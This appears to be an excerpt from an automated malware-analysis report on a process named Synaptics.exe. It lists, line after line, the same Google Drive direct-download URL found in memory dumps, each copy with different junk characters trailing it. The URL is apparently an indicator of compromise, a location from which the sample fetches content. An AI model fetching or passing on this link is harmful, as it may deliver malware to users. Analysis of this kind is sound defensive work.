Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3016126059.0000000000918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl7w
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlZt
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle.
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleM
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme9
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlemeo
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni7u
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniyzy
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllE
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemKvV
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme(
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemeDw
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemeyx
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllq
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlnu
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlsx
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm.tr
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmeasOZU
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmooo.
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmputp
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn)
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.com
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnc
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncel
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncel9w$
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadndic
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne1
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnet.
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnet.4X
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle%B
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetleO
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetleS
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetlw
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadng-right:0
Source: Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadni
Source: Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniV
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyo
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor1~
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyoroqr
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnl
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnnectz
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadno
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadntdes
Source: Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado.m
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoU.
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogleNX
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoju
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadonnec
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogle
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadooo.
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador..
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorI
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorig
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3159256144.000000003C8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloados
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053F3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3074641637.000000001DCF5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3039336573.000000000DC70000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3023403853.0000000007071000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpa
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadph
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpps.
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq&
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq=5
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqL
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqW4
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.7
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr8q
